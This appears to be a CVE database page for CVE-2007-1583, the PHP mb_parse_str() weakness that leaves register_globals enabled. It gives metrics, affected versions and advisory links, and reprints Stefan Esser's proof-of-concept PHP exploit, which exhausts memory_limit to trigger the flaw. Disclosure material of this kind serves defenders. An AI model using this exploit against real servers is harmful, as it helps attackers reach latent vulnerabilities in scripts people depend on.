CVE-2007-1583 : Detail

CVE-2007-1583

14.6%V4
Network
2007-03-21
22h00 +00:00
2018-10-16
12h57 +00:00
CVE.org
NVD
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CVE Descriptions

The mb_parse_str function in PHP 4.0.0 through 4.4.6 and 5.0.0 through 5.2.1 sets the internal register_globals flag and does not disable it in certain cases when a script terminates, which allows remote attackers to invoke available PHP scripts with register_globals functionality that is not detectable by these scripts, as demonstrated by forcing a memory_limit violation.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 29752

Publication date : 2007-03-18 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

source: https://www.securityfocus.com/bid/23016/info PHP is prone to a weakness that allows attackers to enable the 'register_globals' directive because the application fails to handle a memory-limit exception. Enabling the PHP 'register_globals' directive may allow attackers to further exploit latent vulnerabilities in PHP scripts. This issue is related to the weakness found in the non-multibyte 'parse_str()' from BID 15249 - PHP Parse_Str Register_Globals Activation Weakness. This issue affects PHP 4 to 4.4.6 and 5 to 5.2.1. <?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP mb_parse_str() register_globals Activation Exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // The following string will be parsed and will violate the memory_limit $str = "a=".str_repeat("A", 164000); // This code just fills the memory up to the limit... $limit = ini_get("memory_limit"); if (strpos($limit, "M")) { $limit *= 1024 * 1024; } else if (strpos($limit, "K")) { $limit *= 1024; } else $limit *=1; while ($limit - memory_get_usage(true) > 2048) $x[] = str_repeat("A", 1024); // Will activate register_globals and trigger the memory_limit mb_parse_str($str); ?>

Products Mentioned

Configuraton 0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.4

    Php>>Php >> Version 4.0.5

    Php>>Php >> Version 4.0.6

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.1.0

    Php>>Php >> Version 4.1.1

    Php>>Php >> Version 4.1.2

    Php>>Php >> Version 4.2

      Php>>Php >> Version 4.2.0

      Php>>Php >> Version 4.2.1

      Php>>Php >> Version 4.2.2

      Php>>Php >> Version 4.2.3

      Php>>Php >> Version 4.3.0

      Php>>Php >> Version 4.3.1

      Php>>Php >> Version 4.3.2

      Php>>Php >> Version 4.3.3

      Php>>Php >> Version 4.3.4

      Php>>Php >> Version 4.3.5

      Php>>Php >> Version 4.3.6

      Php>>Php >> Version 4.3.7

      Php>>Php >> Version 4.3.8

      Php>>Php >> Version 4.3.9

      Php>>Php >> Version 4.3.10

      Php>>Php >> Version 4.3.11

      Php>>Php >> Version 4.4.0

      Php>>Php >> Version 4.4.1

      Php>>Php >> Version 4.4.2

      Php>>Php >> Version 4.4.3

      Php>>Php >> Version 4.4.4

      Php>>Php >> Version 4.4.5

      Php>>Php >> Version 4.4.6

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0

          Php>>Php >> Version 5.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.1

            Php>>Php >> Version 5.0.2

            Php>>Php >> Version 5.0.3

            Php>>Php >> Version 5.0.4

            Php>>Php >> Version 5.0.5

            Php>>Php >> Version 5.1.0

            Php>>Php >> Version 5.1.1

            Php>>Php >> Version 5.1.2

            Php>>Php >> Version 5.1.3

            Php>>Php >> Version 5.1.4

            Php>>Php >> Version 5.1.5

            Php>>Php >> Version 5.1.6

            Php>>Php >> Version 5.2.0

            Php>>Php >> Version 5.2.1

            References

            http://www.vupen.com/english/advisories/2007/2732
            Tags : vdb-entry, x_refsource_VUPEN
            http://secunia.com/advisories/25056
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.debian.org/security/2007/dsa-1283
            Tags : vendor-advisory, x_refsource_DEBIAN
            http://security.gentoo.org/glsa/glsa-200705-19.xml
            Tags : vendor-advisory, x_refsource_GENTOO
            http://www.redhat.com/support/errata/RHSA-2007-0162.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://www.securityfocus.com/bid/23016
            Tags : vdb-entry, x_refsource_BID
            http://us2.php.net/releases/4_4_7.php
            Tags : x_refsource_CONFIRM
            http://secunia.com/advisories/25062
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:090
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://www.ubuntu.com/usn/usn-455-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://secunia.com/advisories/24909
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/24945
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://us2.php.net/releases/5_2_2.php
            Tags : x_refsource_CONFIRM
            http://secunia.com/advisories/24924
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://rhn.redhat.com/errata/RHSA-2007-0155.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://secunia.com/advisories/24965
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/bid/25159
            Tags : vdb-entry, x_refsource_BID
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:089
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/25445
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/25057
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:088
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/26235
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.redhat.com/support/errata/RHSA-2007-0153.html
            Tags : vendor-advisory, x_refsource_REDHAT
            The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.